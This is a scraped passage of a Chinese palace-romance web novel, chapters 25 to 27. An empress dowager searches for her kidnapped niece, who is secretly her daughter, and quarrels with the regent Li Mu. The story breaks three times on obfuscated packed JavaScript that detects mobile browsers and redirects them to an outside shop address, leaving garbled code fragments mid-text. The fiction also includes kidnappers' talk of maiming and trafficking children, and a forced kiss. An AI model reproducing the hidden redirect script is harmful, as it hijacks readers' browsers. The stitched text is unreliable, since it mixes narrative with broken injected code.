无论先帝和李穆联手布了什么局,和她也没有多大的干系。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548352|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 朱凝眉站在宫门口,送别大哥与榕姐。 马车缓缓驶出宫墙甬道,朝宫外而去。 回到安宁宫,想起晚上李穆要来,朱凝眉不得不打起精神做准备。 这些年她当惯闲云野鹤,糙日子过得极自在。 刚入宫时,梅景行领着一群人过来,要给她泡药浴,敷面,在她身上大动干戈,她没同意。 太麻烦了! 但今日不同,既然她已经不能反抗,那还不如把自己收拾得清爽一点,让李穆尝到甜头之后,更方便拿捏他。 反正她在宫里的日子也不长了。 这次她出了宫,往后和李穆便是一辈子不复相见。 也该折腾折腾他,等她出了心里这口恶气,以后想起他,才不会像个怨妇。 被梳洗打扮了两小时后,朱凝眉感觉自己焕然一新,全身肌肤像是鸡蛋剥了壳一样细嫩。 她看着镜中的自己,又有些后悔自己不该如此郑重其事。 便宜了李穆那个混蛋! 心里这样想着,忽然有小太监进来禀报:“太后娘娘,朱太傅的夫人遣人进宫禀报,问朱太傅和小小姐什么时候回家。” “他们没回家吗?”朱凝眉站起来,心情忐忑不安:“梅景行呢,快把他叫来!” “掌印出宫办事,还没回来。”掌事姑姑悦容回答。 朱凝眉心里咯噔一下,问:“李穆在哪里?” 小太监回答:“他在承乾宫看奏折。” 小太监还没想明白,朱太傅的事和李穆有什么关系,只见太后已经疾步往承乾宫去。 悦容姑姑连忙带人跟上。 朱凝眉气势汹汹来到承乾宫,看见站在门口的金吾卫,随手抽了把剑,冲到殿内。 彼时李穆正在和几位辅政大臣共同商量国策,小皇帝陆憺在一旁听政。 李穆见她仿佛刻意打扮一番,才来找自己,对她温柔一笑,再让各位辅政大臣先去休息。 好奇心满满的陆憺也在李穆的注视下,不得不离开。 等殿内只剩下李穆和她,李穆笑着看她手中的剑,问:“你这是做什么?” “你把榕姐和我大哥关在哪里?”她举起剑,对准他的心口。 “我关他们干什么?”李穆眉眼一沉,冷声质问。 不是李穆做的? 朱凝眉头昏脑胀,一时间不知如何是好。 一旁的掌事姑姑悦容迅速把事情来龙去脉跟李穆讲了一遍,李穆听完冷笑:“人并非我带走。为免嫌疑,此事我不便介入。太后娘娘若要寻人,还请另觅贤能。” “我也从未奢望你帮忙寻人。今日便是我大哥与榕姐有什么三长两短,也是他们命中该有此劫!”朱凝眉忍痛说完这句,转身便走。 李穆望着她倔强的背影,被气得钻心似的疼。 昨夜嘴巴那么甜,怎么今日就不会说两句好听的话! 25. 第 25 章 榕姐醒来,发现自己嘴巴里塞了一团布,被五花大绑地关在一间破旧的屋子里。 这里关了很多孩子,男孩、女孩都有。 爹爹不在她身旁,她和爹爹从皇宫里出来后,便被人劫持。有人拿块布捂住她的口鼻,她便昏昏睡去,直到现在才醒来。 屋外隐约传来说话声,难道小姑姑派人来救她了吗? “记住,这些孩子有三拨买家。男孩送去丐帮,折断胳膊腿、毒哑了当乞丐,越是把他们弄得惨越能卖到钱;女孩是便宜货,只能卖到青楼;记住,最值钱的那个先养着,别把她跟卖去青楼那货色弄混。” “她为什么值钱?” “贵人的事,你别问。反正干完这最后一票,咱就发财了。” 忽然,两声惨叫接连响起。 接着有人闯入房间,榕姐吓得闭上眼睛装睡。 可来人却径直奔她而来,将她抱起来,带走。 榕姐不知这人要将自己带往何处?他们会杀她吗?还是把她的手和腿都折断送去乞讨?还是会将她卖入青楼? 忠勇侯府,灯火通明。 李穆坐在书房里,双眸冷得胜似寒冰。 心腹章忠走进书房后,便忍不住打了个寒战。 李穆冷冷地扫了他一眼,问:“找到了吗?” 章忠低声答道:“朱太傅已经找到,可朱家小姐依然没有踪迹。我们的人已经把京城各处暗桩都找了一遍,找不到任何线索。现在太后娘娘还在领着梅景行的人在各处找人——” 话音未落,李穆便站起来,吓得章忠膝盖发软,差点跪在地上。 李穆道:“让金吾卫和京兆府的人一起去找,掘地三尺也要把人给我找出来。” 张忠立即道:“属下领命。” 张忠退下,走到门口,又被李穆叫了回去。 “太后现在如何?” “太后从出宫到现在水米未进,嗓子都喊哑了。梅景行一直劝太后休息,但她不听任何劝告,这会儿正在镜红楼搜寻。太后仿佛有十足的把握,朱家小姐就藏在镜红楼内。” 镜红楼是京城最大的青楼,也是大长公主的地盘。 听到这话,李穆大步流星地往外走。 李穆脸色铁青地来到镜红楼,只看到吓得脸色煞白的青楼女子,与神魂不宁的老鸨,却连她的影子都没看到。 就在这时,舒奕走过来,沉声道:“侯爷,附近有座弃婴塔,太后往那边去了,我们无论如何都拦不住她。” 弃婴塔,塔内白骨皑皑,那孩子就算能被活着救出来,怕是也吓成了傻子。 李穆大步朝弃婴塔方向奔去。 弃婴塔内,正在焚烧着火焰,火焰被风吹得呜呜作响,塔内仿佛传出哭声和哀号。 朱凝眉给榕姐卜算了一卦,卦象显示,她就在弃婴塔内。可当她抵达时,塔内已燃起火焰。 金吾卫拦着她,不让她进塔内救人。 眼下,金吾卫已经提着水桶去灭火,可火势太大,一时间无法浇灭。 朱凝眉心痛到极处,她想要跳入塔内,陪榕姐一起共赴九泉。 今生是她懦弱,没有把榕姐带在身旁,与她母女相称。死后若能与她在黄泉再做母女,也算一桩美事。 身旁的金吾卫,见太后累得瘫在地上,仿佛已经认命似的,便对她放松防备。金吾卫盯着酷暑找了一天的人,早就累瘫了。 可就在瞬间,太后忽然朝着弃婴塔冲过去,所有金吾卫都被下了一跳。 就在她准备往塔底跳的时候,忽然被人拽了回去。 朱凝眉鼻子撞到铜墙铁壁,闻到铁锈味,也闻到李穆身上的雪松香。他死死地捏着她的胳膊,仿佛要将她的胳膊捏碎。 朱凝眉知道自己挣扎不过,便放弃挣扎,只用沙哑的嗓音说:“松开我,榕姐一个人在里面害怕,我要去陪她。” 李穆头一次见她心如死灰的模样,他知道自己就要失去她了。 看着她干裂的嘴唇,灰扑扑的衣裳,被血染红的鞋尖,他更加不敢松开她半分。哪怕将她肩膀捏碎,他也要将她牢牢禁锢在身旁。 “别发疯!你如何就能确定她一定在塔内?” “我就是知道她在里面,我听到她在里面哭,她在叫我!”她歇斯底里地朝他大吼。 柴火焚烧着尸体的味道,染红了她无助的双眼,她伤心到再也流不出任何眼泪,只凭着本能对他又踢又踹,用指甲挠他的脸。 一旁的金吾卫见李穆被她抓破了脸也不反抗,只能暗自在心底啧啧称奇。 朱凝眉已经在李穆身上发泄完了所有力气,她只能用哭哑了的嗓子求他:“李穆,求求你,让我去找她。她才四岁,她一个人被扔在塔底下,多可怜!” 李穆看着她悲伤的眼神,心口仿若被压了千斤巨石。 “跟我回宫休息,我保证在天亮以前,还你一个完完整整的人。”说罢,他将她打横抱起,往回走。 走了两步,听到“轰隆”一声。 朱凝眉扭头看去,见那塔倒了。 原来这座弃婴塔已经年久失修,再加上燃烧剧烈的火焰遇水冲击,弃婴塔遭遇冷热交替,承受不住,终于倒塌。 火舌被倒塌的土墙熄灭,巨兽停止咆哮,哭声和哀号都被掩埋。 李穆低头看着她,见她双目呆滞,流下来两道触目惊心的血泪、 “是你害死她的!我明明已经答应过你,今晚什么都依着你,你要什么都给你。可你为什么就不肯放过她呢?” 她抬眸,用一双充满恨意的眼睛看他。 李穆想起来,她白日里是特意打扮过后,才去承乾宫找他。若没有这桩祸事,他和她现在花前月下,畅快肆意。 难道只有她委屈吗? 她平日里气他的时候多聪明?怎的忽然变蠢了?或未见人死未见尸,她凭什么认为他是害死那孽种的凶手! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552984|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李穆将愤怒脱口而出:“她一个父不详的孽种,我为什么要杀她?” “她若是孽种,你便是牲畜不如的狗东西!” 周围的太监和金吾卫,听到这话,吓得都想捂住耳朵。 这两人的话,透着古怪,他们害怕听到这些之后,会被事后灭口。 李穆气得将她扔在地上。 朱凝眉在地上打了个滚,便爬起来,使劲儿朝塔塌的方向跑去。 她使劲扒开一块块土砖,指甲折断也不在意,血泪混着尘土从脸颊流下来。 李穆见她伤心至此,不知为何,忽然说出一句:“你这么喜欢孩子,再跟我生一个,不行吗?” 她停住,回头望着李穆,冷笑道:“若今日埋在塔底的是令公子?你也能如此冷静吗?你也会如此刻这般对夏芍说,再让她再跟你生一个吗?” 李穆被她问住,不知如何回答,他隐约觉得,在说出那句话时,已经失去了她。 忽然,有人在远处大喊:“找到了!梅公公找到朱家小姐了。” 朱凝眉用力推开李穆,跌跌撞撞地朝那声音传来的方向奔去。 火光穿破黑暗,梅景行抱着榕姐,步履从容地来到朱凝梅面前。 朱凝眉想用手擦掉脸上的泪,却发现双手沾满了尘土,便只好用袖子擦干净脸,才柔柔地唤道:“榕姐?” 榕姐听到熟悉的声音,睁眼一看,见到最爱的小姑姑,便从梅景行怀里挣脱出来,奔到朱凝眉怀里,“哇”的哭了起来。 朱凝眉拥抱着女儿温热软绵的身体,一颗心终于安放到原处,但她的身体因为惊吓过度,还在微微抽搐。 “榕姐,告诉小姑姑,伤到哪里了?” 榕姐哭着摇头,因为哭得停不下来,说不出话。 见此,梅景行帮忙解释:“太后娘娘放心,朱小姐没有受伤,只是被吓到了。” 朱凝眉这才抬眸看向梅景行,发现他胳膊上有一处伤,衣服也沾了血,便知他为了寻找榕姐费了不少力气。 她松开榕姐,郑重地向梅景行屈膝行了个礼。 “梅景行,多谢你了!”她眼底含着感激,不是以太后的身份,而是以朱凝眉的身份在向他道谢。 梅景行眼眸隐有触动,是他思虑不周,保护不力,才致计划脱缰,让她和她的女儿多受了这些苦。可她却向他道谢! 他立即屈膝回礼,拱手道:“启禀太后娘娘,奴婢奉命于忠勇侯,不负重托,终于把人救了出来。” 朱凝眉露出冷笑,眼底满是厌恶。 “你不用帮他说话。今日收到榕姐出事的消息,我找不到你,便只好去找他求助。可忠勇侯是大忙人,他以避嫌为名,拒绝帮我寻人。”朱凝眉定定地看着梅景行,道:“人是你救的,我只记你的情。” 李穆已经不止一次说过,要杀了榕姐这个孽种,他能袖手旁观已是万幸,朱凝眉不敢奢望他会帮忙救人。 26. 第 26 章 梅景行微微躬身,微笑着目送太后离开。 一道冷冽的目光穿过他的身体,仿佛要刺透他的心脏,刺骨的寒凉迫使他收回护送伊人远去的目光。 李穆打量着梅景行俊朗年轻的面容,嫉妒似烈焰般从他心底蔓延出来:“梅公公,看来太后娘娘很信任你。她娘家人出事后,第一个想到的人居然是你。” 这番阴阳怪气的话,使得夜风中弥漫着一股危险的气息。 他必须回答,而且要答得让李穆满意。 稍有差池,他便会如那座倒塌的弃婴塔一般,万劫不复。 梅景行心中紧张忐忑,神情却能保持从容不迫,他站直身体,微微低头。 “启禀忠勇侯,奴婢是司礼监大总管,侍奉太后娘娘,是奴婢的职责所在。太后娘娘信任奴婢,奴婢亦感到荣幸。然事发之时,奴婢不在宫中,有负太后娘娘的信任,真是罪该万死。” “侯爷,太后娘娘踏出安宁宫后,第一个找的便是您!所以,太后娘娘最信任的人其实是忠勇侯。奴婢暂不知您与太后之间因何生隙,但奴婢却知,您为寻人大费周章,甚至不惜调动金吾卫。” “您为太后娘娘用心良苦,可太后娘娘对此一无所知,就连奴婢都为您感到委屈!” 油嘴滑舌! 油腔滑调! 梅景行见他久久没有说话,便抬头看他,可他刚抬头,就被李穆擒住下巴。梅景行被他这突如其来的举动,弄得有些惊惶失措。 但他并未从李穆身上感觉到杀意,所以也收敛攻击,不曾对李穆出手。 他面带微笑,静静地望着李穆。 这模样落在李穆眼底,不由想起刚才在镜红楼看到的那些勾栏女子:搔首弄姿,妖里妖气。 握在梅景行下巴上的五指微微收紧,他一动不动地盯着梅景行的脸。 梅景行皮肤白皙,五官小巧精致,下巴上还不长胡须,看着倒是挺精致的——李穆不由得想起自己亲她的时候,她总是喜欢躲,是否因他的胡须扎到她娇嫩的肌肤? 她皮肤娇嫩,他只要稍稍用力一握,到第二日,她那雪白的胳膊上便会出现一片青紫。 梅景行是不是也这样? 李穆死死盯着梅景行的领口处,看到他雪白无瑕的脖颈还不满意,又要将他衣服撩开,查看锁骨的位置,直到他确认锁骨处没有被人留下任何痕迹,这才满意。 看来梅景行还没有资格得到她的宠幸。 而他的肩膀上,可是被她咬出过好几次牙印。 想到昨夜她咬得他满嘴是血,李穆黑眸内便隐隐流动着闪烁的璀璨星光,细微情愫从他幽深的眼底冒出来,看得梅景行起一身鸡皮疙瘩。 这奇怪的目光久久停在他身上,神情里还隐约透着一些无法言说的情愫。 梅景行心里升起一种不祥的预感,他不由得握紧拳头,随时准备反抗。 好在李穆冷哼一声之后,终于放开他! 此刻,李穆心里想的却是,这梅景行虽然生得俊朗,可他再俊朗又有何用?不过是个太监,能做什么? 不过他也曾听说,宫里头的太监伺候主子时,花样百出,式样稀奇古怪。 不能大意,还是得防着才行! 想到梅景行也在她面前这般巧舌如簧,李穆心里便越来越烦闷,此时看梅景行也越来越不顺眼。 他自己心里不痛快,自然不能让梅景行痛快。 “太后娘娘今日遇事寻不到你,终究是你的过错,回宫后立即领二十大板。另外,明日你亲自将人送回朱家。限你于三日内,找到幕后之人。” 梅景行大大地松了口气,低头道是。 朱凝梅想亲自送榕姐回朱家,但榕姐抱着她哭,说自己不想和太后姑母分开。 她没办法,只好派人先往朱家送信,再抱着榕姐回宫,榕姐不同意回朱家。 回到安宁宫后,太医已经在等着。太医给榕姐检查,没有发现她身上有伤,朱凝眉紧绷的身体终于微微松懈下来。 她放松之后,身体的疼痛便开始从麻木中觉醒,朱凝眉不由得倒抽一口凉气。 太医转过来,为她治疗伤口。 朱凝眉今日为寻榕姐,走遍京城的大街小巷,身上布满零零碎碎的小伤。 忙活大半个时辰,太医才给朱凝眉上完药,告退。 榕姐心疼地看着她,然后勇敢道:“小姑姑,我今日没有害怕,因为我相信,你一定会来救我。” 朱凝眉心里软塌塌的,她把榕姐紧紧搂在怀里,亲亲她的额头,道:“榕姐,小姑姑身旁很危险。日后听你娘的话,别再进宫。” “不要,我想你怎么办?” 朱凝眉开心地笑出声音:“你想我,便差人来宫里说一声,我出宫去看榕姐。” “你轻易便出宫,那李穆不会找你麻烦吗?” 朱凝眉吓一跳,笑着问:“你怎么会觉得李穆找我麻烦呢?” 榕姐年纪小,藏不住事,她思索地看着朱凝眉,忽然问:“小姑姑,今日我听那些绑匪说,我是你和李穆生的野种。这是为什么?” 朱凝眉心中一彻,面上却不动声色:“别听他们乱说,你当然是我大哥和我嫂嫂的孩子。你回家后,可别把这些话说给你娘听,除非你想惹她生气!” “我当然不想惹我娘生气!”榕姐点点头,选择信任小姑姑。 “虽然我很喜欢我娘,但我有时候也希望,自己是小姑姑的女儿。我娘对我很好很好,可她总是不懂我。小姑姑,我很喜欢你,因为你永远都知道我要什么。” “等你长大就好。”朱凝眉轻轻她的脸颊,轻声安慰道:“我小时候也和你一样,觉得我娘也不懂我。” “长大真的会变好吗?” “当然,长大后一切都会变得很好的。” 朱凝眉想,虽然长大后也会经历各种艰难的事,可大人总归能找到解决问题的办法。 而小孩子,只能无助地躲在角落里,不敢让任何人知道自己的苦楚。 夜色已深,灯火从窗外照进来,洒满一地烛光。 朱凝眉搂着睡着的榕姐,希望能在她出宫之前,再多看她几眼。 看着榕姐与李穆相似的下颌线,她又想起李穆今夜那冷漠的模样。就在她以为榕姐已经埋在塔底时,李穆居然冷血地说,让她再生一个? 他爱朱雪梅,所以想和朱雪梅再生一个孩子。 他从未真心爱过朱凝眉,所以他也不会爱朱凝眉的孩子! 朱凝眉打定主意,今生今世,她绝对不会把榕姐的身世告诉李穆。 因为心里想着事,朱凝眉直到天亮才睡着。 榕姐很乖巧,她醒来后,见小姑姑睡得很香,便没有叫醒她。她安安静静地起床,光着脚走出寝殿,让悦榕姑姑帮她穿戴整齐后,再一个人用早膳。 榕姐刚用过膳,梅景行来安宁宫禀报,说是朱太傅的夫人天不亮便已经在宫门外等着。 朱凝眉隐约听到梅景行的声音,从榻上起来,稍作打扮,便亲自送榕姐出宫。 宫门外,朱家马车停在路旁,姜凤英守在宫门前翘首盼望,宫门打开的一瞬间,姜凤英看见朱凝眉牵着榕姐的手出现在甬道内。 思念心切的她,立即朝着甬道跑过去,却被侍卫竖起兵器拦截。 朱凝眉板着脸斥道:“不得无礼,她是我嫂嫂。” 侍卫这才放行,让姜凤英跑进去。 姜凤英飞奔过来,一把抱住榕姐,她已经顾不上自己没有先给太后行礼,是否触犯宫规。 直到她确认榕姐身上没有伤,而朱凝眉身上处处是伤,姜凤盈才哽咽道:“小妹,昨日你辛苦了!若是没有你,榕姐恐怕没有这么容易就能回到我身边。” 姜凤英已从丈夫口中得知,此事幕后主使者牵扯朝中之人,若非朱凝眉极力寻找,榕姐可能不会轻易被找到。 朱凝眉忐忑一夜,她本以为今日会承受嫂嫂的质问和怒火,可嫂嫂却没有责备自己。 朱凝眉蹲下,抱抱榕姐后,对她说:“你先去车上等娘亲,小姑姑想跟娘亲说几句话。” 榕姐看见娘亲后,才发现自己也有些想家。 她点点头,便跟着朱胜和梅景行一起上马车。 上马车前,她又乖巧地和悦容姑姑道谢:“悦容姑姑,多谢你给我穿衣、扎头发。回家后,我会想你的。” 悦容已经到做母亲的年纪,却因身份耽误婚事,这两日她照顾乖巧的榕姐,也对榕姐生出几分感情。 离别时,悦容心里酸酸涩涩:“朱小姐,愿您平安喜乐,永远顺遂。” 悦容对她挥挥手,虽然悦容很喜欢榕姐,可她希望榕姐以后再也不要来宫里。 宫里,就是个吃人的地方。 朱凝眉远远地看着榕姐登上马车,才任由泪水滚下,她擦掉脸上的泪,笑着对姜凤英道:“嫂嫂放心,我会告诉大哥,让他日后别再带榕姐入宫。我也会找个机会,把大哥去外地任职,让你们一家远离是非之地。只要嫂嫂继续像从前一样待榕姐,我保证,榕姐一辈子都是你的女儿。” 姜凤英有段日子没见朱凝眉,发现她比从前更瘦,便激动地握住她的手,关心道:“你在宫里,是不是过得很艰难?” “没有,我过得很好。”朱凝眉笑着安慰嫂嫂,但她笑起来,却比哭伤心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564435|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜凤英叹息一声,继续安慰她:“我听你哥哥说,他已经有了雪梅的消息,相信再过不久,你就能解脱。” 朱凝眉却摇摇头,道:“嫂嫂,我也是昨夜才想清楚。如今我既然闯进这个漩涡,就很难再从中全身而退,但你和榕姐不一样。请你好好把榕姐养大,下辈子我给你当牛做马,也会感激你的恩情。” “你可别乱来!”姜凤英道:“我昨夜也想明白了,只要榕姐平平安安地活着,哪怕她不在我身旁长大,我也没什么遗憾。若有一日,我护不住榕姐,我想,我宁愿把榕姐还给李穆——” “不,嫂嫂,我求你千万别这样想。”朱凝眉差点对嫂嫂跪下来,她道:“你不用担心那些还未发生的事。我用自己的性命向你保证,榕姐不会再遭受昨日那样的意外。” “我希望榕姐这一辈子都生活在父母的庇佑下!我父亲不爱母亲,所以也不爱我。我从小过的什么日子,嫂嫂都已看到。难道你忍心见榕姐步我后尘?” 朱凝眉眼中满是恳求。 姜凤英只好哽咽道:“好,别的我不能向你保证,只有一点,我会拼命对榕姐好。” 两人互相握着手,眼神里充满前所未有的默契。 最终,姜凤英拍拍她的手,然后转身上了马车。 朱凝眉最后看了一眼马车离去的方向,深吸一口气,仿佛要将所有的不舍都藏匿在心底。 李穆站在高高的宫墙上,俯视着她依依不舍地送别她的女儿,可她从未用这样的眼神,看过自己。 她施舍他那些碎片似的温柔缱绻,也只是怕他说话太大声,吵醒了她女儿。 想到这些,李穆心痛如绞,悲凉从骨子里往外渗。 他就这样忍着心痛,站在宫腔的角楼上,一直等到梅景行从朱家回来,向他复命。 李穆清了清嗓子,借着城楼上的风,咽下冒出喉咙的委屈和哽咽。 “人平安送回去了?” 梅景行低着头,不敢抬头望,他已经听出来李穆声音有些刻意。“送回去了,奴婢亲自将人送到朱家,还在府外安排了十二个暗哨日夜盯着。” “你做得很好!”李穆吸了吸鼻子,装作不经意地问:“你刚才去太后宫里的时候,她有提起我吗?” “从昨夜到今晨,太后娘娘不曾提起侯爷。” “不曾就不曾,你啰嗦这么多干什么?”李穆看着他,只觉得晦气。 梅景行直起腰,望着李穆,屏退左右后,才道:“侯爷,您那日在承乾宫对太后娘娘说的话,实在太不明智了。您让太后另觅贤能,既伤了太后的心,也让旁的人忌惮着您这句话,不敢尽全力帮太后娘娘寻人。” “昨日,太后娘娘笃定了朱家小姐就在弃婴塔内,是因为她已经绝望到极点。她求不到人,只能求助占卜,可她却通过占卜的卦象断出朱家小姐被藏匿在弃婴塔内。” “她那时失去了所有理智,把占卜卦象当作唯一的希望。” “请侯爷恕奴婢多言,先帝已驾崩,陛下尚年幼,太后娘娘唯一能依靠的人只有侯爷了。侯爷若是在太后第一时间找您时,便答应帮她寻人,她何至于像昨夜那般绝望?” 李穆冷冷道:“你只知她的委屈,却不知我受了什么气。她不问青红皂白,便拿着剑质问我把人藏在哪里了?我李穆行事堂堂正正,从不躲躲藏藏,她为何疑心是我把人藏了起来?” “是啊?为何呢?”梅景行顿了顿,叹息道:“这其中恐怕有误会。按理说,她在这宫里,最信任的人应该是侯爷才对!就连我们这些做奴婢的都知道,侯爷对她掏心掏肺,一片真心。可她为何怀疑幕后之人是侯爷呢?” 这话说到李穆的痛处了。 他爱着她,可她心里只有先帝、小皇帝,如今又多了个小孽种。 他说过几次,要杀了那个小孽种,可她怎能因为他的一时气话而怀疑他? 李穆脸色惨白,挥挥手,道:“我的事,你少管。你只要把幕后凶手给我找出来就行。害老子吃了这么大的亏,老子非得将他救出来抽筋剥皮不可。” 梅景行的脸色也不太好看,他欲言又止了一阵,盯着李穆略带压抑的目光,硬着头皮道:“绑走朱家小姐的幕后之人,奴婢倒是有些线索了,可是那线索仿佛与大长公主府有关——侯爷,奴婢可还要继续查下去吗?” 李穆沉默了。 大长公主是他不能动的人。 先帝离世前,要他发毒誓,承诺无论如何都会保住大长公主的性命,让她安享晚年直至寿终正寝。 “继续查下去!”李穆咳嗽一声,又问:“你向来鬼点子多,你不妨帮我出出主意,太后娘娘要怎么样才会原谅我?” 27. 第 27 章 刚说完,李穆就看到梅景行嘴角在微微抽动。 向太监请教如何讨好女人,是有些丢脸! 李穆挪开视线,身体挺直,改口道:“罢了,老子讨好她做什么!得让她知道谁是这宫里做主的人。吩咐下去,这几日安宁宫加强戒备,不许人随便出入。她火气那么大,你吩咐御膳司多做点素的送过去,给她败败火。” 李穆越说越生气。 梅景行收敛笑意,正色道:“启禀侯爷,太后娘娘平日便喜茹素,戒荤腥。她也不爱出门,只喜欢在海棠树下的暖椅上躺着晒太阳。据太后身边伺候的掌事姑姑悦容说,她的衣裳日渐宽敞,恐怕再瘦下去,就只剩皮包骨了。” 这番话让李穆立即想起,那夜他随手将她捞在怀里。 寝衣触感丝滑,腰肢纤细柔软。可除了这些,她身上的确没剩下几两肉。 再瘦,她那副小身子骨怎么能熬得住! 李穆紧绷着嘴角,愁得来回踱步。 见他为难,梅景行主动道:“侯爷,讨好太后娘娘的人太多了,她早已经厌倦。奴婢觉得,她需要的是陪伴,她太孤独了。” 经过这番点拨,李穆忽又想起她说过“这阵子你不来跟我吵架,我还有些寂寞呢”。 她的确是孤独,否则怎么还盼着他去同她吵架呢? “侯爷不如将太后娘娘的膳食全部改成荤腥。太后娘娘若吃不惯,自会传召侯爷问话。届时侯爷再对太后娘娘晓之以理,太后娘娘便会知道侯爷对她一番苦心。” 这话正中李穆的下怀,他正缺个理由被她传唤! 这日,安宁宫传晚膳,桌上都是荤腥。 朱凝眉看着满桌菜便没了胃口,她随口问:“怎么连一个素菜都没有?” 悦容道:“御膳司的人说,这是侯爷吩咐的。侯爷说太后娘娘身子弱,又受了伤,得多吃点荤食补补身子。” 朱凝眉没想到他还有这么细心的时候,竟然开始关心她的日常起居了。 只是看着满桌的荤腥,朱凝眉实在有些头疼,她只得用汤汁拌着米饭吃个半饱。 就这样,第一日,朱凝眉吃了肉汤拌饭。 第二日,她又觉得肉汤有些腥,嘴里腻得慌,用茶汤就着白米饭勉强填饱了肚子。 到第三日,她连白米饭也不想吃了,开始喝茶辟谷。 才辟谷了两顿,她在正寝殿内打坐,便看到李穆气急败坏地闯进来。 李穆语气不善地质问她:“你就为了跟我赌这口气,要把自己活生生饿死吗?” 她就不能跟他服软,说句好听的话?只要她嘴甜一点,他什么都可以依着她,命都可以给她。 朱凝眉心里并未责怪李穆,她没胃口吃东西,是因为她从小挨多了饿,肠胃受损,跟李穆没关系。 但她偏要与李穆斗嘴:“不是你给御膳司下令,不许他们让我喜欢吃的菜,存心要把我饿死吗?” 她宁愿饿死,也不肯向他服软。 李穆盯着她瘦得仙风道骨的身子,哪怕被她气得吐血,也不敢再说话惹她生气。 李穆放软了语气,哄着她:“你太瘦了,得多吃些肉。你要是答应每餐多吃几口肉,我便吩咐人上些你爱吃的素菜。” 朱凝眉见他说话还不算太难听,也不打算再跟他吵架,而且寻找绑走榕姐幕后真凶的事还得找他帮忙呢。 “我也知道吃肉对身体好,可我吃不下。没吃几口就忍不住恶心想吐——”她说着话,见李穆眼神里充满打量,立即敏锐地意识到什么,她站起来,走到李穆面前,瞪着他。 李穆幽幽的黑眸闪了闪。 朱凝眉面带微笑,吐气如兰:“你刚才在想什么呢?” 李穆红着脸,我没想什么。 朱凝眉忽然变脸,冷冷讽刺道:“你刚才听见我说恶心想吐的时候,分明有话要说。” 李穆脑海里是有一闪而过的念头,她该不会是怀孕了吧!可是他又想起每日让太医来诊脉,太医没说她怀孕。 为了不惹她生气,李穆打死都不能承认,他心里是怎样想的。 他嘴硬道:“我压根没听清楚你说什么,我就是觉得你小嘴红红的,软软的,亲上去滋味一定很不错!” 朱凝眉定定地看着他,觉得他真是狗嘴里吐不出象牙,中气十足地吼了一嗓子:“你给我滚出去!” 这悦耳的嗓音,却带着气急败坏的恼意。 李穆被她吓一跳,走到门口,又觉得就这样被赶走太丢脸,于是折返回来,把她摁住。 他强势地将她捞在怀里,唇舌长驱直入,吞噬她的呼吸。 湿润的唇瓣,带着茶的清香和甘甜,抚平了他心里的所有烦闷。 黝黑的眼眸,锁住她眼底的湿糯。 半晌过后,滚烫的气息在她耳畔吹拂着:“我没猜错,这滋味果然不错!” 不等她反应过来,他帮她理了理皱成一团的衣襟,而他却衣衫整齐。 他把她吻得意乱情迷之后,扬长而去! 李穆知道她吃荤腥会呕吐后,便不再逼着她吃肉,让御膳司给她做些素食。 隔几日,他又从夏芍那里打听到,太后那日在忠勇侯府吃了些酸辣不油腻的荤食,便知她不是不爱吃肉,只是因为不爱吃油腻的。 于是,李穆又吩咐御膳司给她准备膳食时别放太多油,最好把鸡肉、羊肉撕皮去油了再给她送去。 如此一来,她每次用膳也吃几口荤菜。荤素搭配地吃上半个月,她脸上的肉也渐渐鼓起来。 在宫里养了半个月的伤,大长公主忽然求见。 朱凝眉上次收大长公主的礼,不好拒绝她,只好同意她进宫来拜见自己。 这半个月她专注养伤没出门,连小皇帝陆憺都没见,整日穿着宽松的寝衣在宫中晃荡,丝毫没发现自己长胖。 如今悦容伺候她换衣服,见镜中人胸、臀看起来都有些鼓鼓的,着实有些碍眼。 “换身宽松的衣裳吧,我长胖了,这身衣裳穿着不合适。”朱凝眉泄气道。 悦容却道:“您穿这身衣服再合适不过,奴婢一个女子看着都喜欢。” 这衣裳穿在太后身上严丝合缝,尺寸恰到好处,纤腰丰臀,惹人遐想。 但朱凝眉对她浅浅一笑,执意换件衣裳接见大长公主。 这是先帝去世后,大长公主第一次踏入安宁宫,经过海棠树下时,看到那张暖椅,大长公主隐约想起朱凝眉在小皇帝陆憺生辰宴上说的那番话——他仿佛还活着,就躺在海棠树下的暖椅上沉睡。 大长公主收敛酸涩的情绪,踏入殿内,她的眸光定在太后那张年轻娇媚的脸上。 朱雪梅今年都三十九了,怎么看起来还像个二十出头的小姑娘,怪不得李穆被她迷得丢魂失魄。 金兽香炉里燃着让人心神宁静的檀香,大长公主深吸一口气,给太后请安。 朱凝眉阻止她行礼,道:“坐吧,不用多礼。” 